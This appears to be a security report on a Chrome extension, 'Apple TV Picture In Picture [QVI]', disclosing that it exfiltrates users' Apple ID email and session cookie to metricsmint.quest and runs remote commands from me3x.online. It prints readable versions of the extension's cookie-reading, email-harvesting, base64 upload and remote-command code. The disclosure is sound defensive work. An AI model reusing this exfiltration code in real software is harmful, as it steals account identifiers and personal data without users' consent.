Is Apple TV Picture In Picture [QVI] safe?

Low risk

Apple TV Picture In Picture reads the signed-in user's Apple ID email and sends it to third-party servers.

While a user is signed in on any apple.com page, the extension automatically reads their tv.apple.com session cookie and uses it to fetch their real Apple ID email and country from Apple's own account endpoint. It uploads that email, the account cookie, and a persistent install ID to metricsmint.quest, describing the collection to users as an anonymous, optional feedback share that is actually enabled by default. Separately, it polls me3x.online every 5 minutes for remote commands, which it uses to scrape the account's Apple TV subscription data and upload the results back to the same server.

Awesome Extensionsv1.0.28Chrome Web Store
24Risk
Who publishes it

HideApp - 39 other listings from the same operator, 4 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Awesome Extensions
Declared legal entity
HideApp

Shared hosts - 1 hostname

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

awesomextensions.com
Also called by 2 other listings: UltraWide for Player.pl: custom fullscreen ratios, Auto Unit Converter

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Extension fetches remote commands and scrapes your subscriptions every 5 minutes

Code analysis shows that while you're signed in, the extension fetches a server-defined command list from me3x.online, runs it, including reading your subscribed streaming services, and uploads the results to me3x.online every 5 minutes.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-506
Source
Static analysis
What actually happens
You did this

You sign into your Apple Account and load any apple.com page.

The only gate is whether the tv.apple.com session cookie is present.

The extension did this

The extension asks a third-party server what to do next, then runs whatever commands come back and reports the results.

The command list, for example reading your streaming subscriptions, is chosen by me3x.online at request time, not fixed in the extension's shipped code.

The code that does this

AppletvHunter fetches remote commands and reschedules itself every 5 minutes

Readable version

Starts on content-script load, reschedules itself forever

appletv.min.js
class AppletvHunter {  supportDomain(domain) {    return domain.indexOf(appletvUrl) !== -1;  }  async run() {    await scrapeAppletvData();    // reschedules itself forever, every 5 minutes, with no user action    setTimeout(() => this.run(), rerunAppletvInterval); // rerunAppletvInterval = 300000  }}

The fetch-commands-run-commands-upload cycle

appletv.min.js
async function scrapeAppletvData() {  if (!isLogged()) return; // isLogged() just checks the pltvcid cookie exists  await setToken();  const commandsInitData = await fetchCommandsInitData();  const commands = await fetchCommandsToSend(commandsInitData); // POST .../appletv/start  const commandsData = await executeCommandsToSend(commands);   // runs each returned command  await sendCommandsData(commandsData);                          // POST .../appletv/upload}

The init payload sent to me3x.online/n/appletv/start

appletv.min.js
async function fetchCommandsInitData() {  const accountId = getUserIdCookie();       // pltvcid cookie  const profileId = accountId;  const extensionUserId = await getOrCreateExtensionUserId() || "";  const country = getCountryCookie();  const optedOut = await isOptedOut();  return new InitCommandsData(    accountId, profileId, extensionUserId,    getHid(), getLocalTimeDiff(), getBrowserLanguage(),    getDist(), country, optedOut  );}
Fields sent to me3x.online/n/appletv/start
  • Apple account/session ID
    accountId=00060.a1e39f7c8d2b4e1c9a5f6b3d2c1e0f9a.1653

    The value of your tv.apple.com session cookie, sent as your account identifier.

  • Persistent install ID
    extensionUserId=a72fd3b0-6c1e-4b2a-9f3d-7e5c8a1b4d90

    A random ID stored locally that links every request back to the same browser install.

  • Device/browser fingerprint
    hid=7f3c1a90-df22-4e7b-9c4a-1b6e0a5f8d33, browserLanguage=en-US

    A hardware/install identifier plus your browser language and timezone offset.

  • Extension install ID
    dist=fiobfiacigcijhaifiloodgijacbgcek

    Your Chrome extension instance ID, letting the server target specific installs.

The code that does this

The server picks which commands run, including reading your subscriptions

Readable version

Command dispatch, keyed by server-supplied type

appletv.min.js
// The server's response to /appletv/start names which of these to runconst CommandTypes = {  BOOKMARKS: "videos_bookmarks",  CONTINUE_WATCHING: "continue_watching",  SUBSCRIPTIONS: "subscriptions"};function getCommandData({ id, type, config }) {  switch (type) {    case CommandTypes.BOOKMARKS:         return executeAsyncDataGetter(getBookmarks, id, config);    case CommandTypes.CONTINUE_WATCHING: return executeAsyncDataGetter(getContinueWatching, id, config);    case CommandTypes.SUBSCRIPTIONS:     return executeAsyncDataGetter(getSubscriptions, id, config);  }}
When this fires

Every 5 minutes

The start-then-upload command cycle repeats every 5 minutes for as long as an apple.com tab stays open, with no further action from you.

Where the requests and results go
    • me3x.online

    Issues the command list your extension executes (/n/appletv/start) and receives the results (/n/appletv/upload), including scraped subscription data.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Extension sends your real Apple ID email to a third party as 'feedback'

Code analysis shows the extension reads your signed-in Apple ID email via tv.apple.com's account API, then sends the email, a cookie value, and a persistent install ID to metricsmint.quest, a site never named in its own opt-out text.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-359
Source
Static analysis
What actually happens
You did this

You sign into your Apple Account and load any apple.com page.

The content script only checks that the tv.apple.com session cookie exists before running.

The extension did this

The extension reads your real Apple ID email from Apple's own account API and sends it to metricsmint.quest.

The extension's own on-page banner describes this data sharing as anonymous feedback and is shown only after a user turns it off; it is on by default for everyone else.

Fields uploaded to metricsmint.quest/up
  • Your Apple ID email
    customer_email=jsmith84@icloud.com

    Your real, signed-in Apple account email address.

  • Apple account/session ID
    account_id=00060.a1e39f7c8d2b4e1c9a5f6b3d2c1e0f9a.1653

    The value of your tv.apple.com session cookie, forwarded as an account identifier.

  • Persistent install ID
    extension_user_id=a72fd3b0-6c1e-4b2a-9f3d-7e5c8a1b4d90

    A random ID generated once and stored locally, letting metricsmint.quest link every upload to the same browser install.

  • Billing country
    customer_country=US

    The country associated with your Apple account.

Why you can't catch this in DevTools

The upload body isn't encrypted, just base64-encoded, so it looks opaque in captured traffic but decodes straight to plain JSON.

Decoded value
{  "svod": "appletv",  "account_id": "00060.a1e39f7c8d2b4e1c9a5f6b3d2c1e0f9a.1653",  "extension_user_id": "a72fd3b0-6c1e-4b2a-9f3d-7e5c8a1b4d90",  "customer_email": "jsmith84@icloud.com",  "customer_country": "US"}
The code that does this

Reading the Apple ID email and uploading it to a third party as 'anonymous feedback'

Readable version

Builds the upload from the signed-in account

appletv.min.js
async function handleAdditionalProfileData() {    const accountId = getUserIdCookie(); // reads cookie "pltvcid"    const extensionUserId = await getOrCreateExtensionUserId();    const url = "https://buy.tv.apple.com/account/information/sections";    const accountData = await postRequest(url, { sections: ["accountSummary"] });    // postRequest sends credentials: "include", so Apple's session cookies ride along    const customerEmail = accountData.accountSummary?.appleId;    const customerCountry = accountData.accountSummary?.country;    const dataToUpload = {        account_id: accountId,        extension_user_id: extensionUserId,        customer_email: customerEmail,        customer_country: customerCountry    };    await sendAdditionalProfileData("appletv", dataToUpload);}

Uploads it to metricsmint.quest

appletv.min.js
async function sendAdditionalProfileData(svod, data) {    // config.d1 == "https://metricsmint.quest/up"    const response = await fetch(config.piUrl, {        method: "POST",        body: b64encode(JSON.stringify({ svod, ...data }))    });    return response.json();}

The banner calling this 'anonymous feedback', shown only once a user opts out

baner.js / background.js
// baner.js: the opt-out banner text calls the data "anonymous feedback"const bannerText = chrome.i18n.getMessage('optOutBannerText') ||  "Hollywood needs your anonymous feedback! If you decide not to share, " +  "no worries, we won't bother you again. But turning it on will help " +  "improve future shows and keep our apps free.";// background.js: shareInsights defaults to true on install, and the// banner is only ever shown once the user has already turned it OFF// (baner.js: checkAndShowOptOutBanner gates on shareInsights === false)chrome.storage.sync.get(['shareInsights'], (result) => {  if (result.shareInsights === undefined) {    chrome.storage.sync.set({ shareInsights: true }); // on by default  }});
Where the upload goes
    • metricsmint.quest

    Receives your real email, account cookie value, and persistent install ID via POST /up; not named in the extension's own opt-out banner text.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Where it sends data

Destinations our analysis observed Apple TV Picture In Picture [QVI] contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • metricsmint.questwidely used

    Apple TV Picture In Picture [QVI] sends data to metricsmint.quest. A widely used service: 60 other extensions we have analyzed send data here.

  • me3x.onlinewidely used

    Apple TV Picture In Picture [QVI] sends data to me3x.online. A widely used service: 58 other extensions we have analyzed send data here.

Updated 30 September 2026fiobfiacigcijhaifiloodgijacbgcek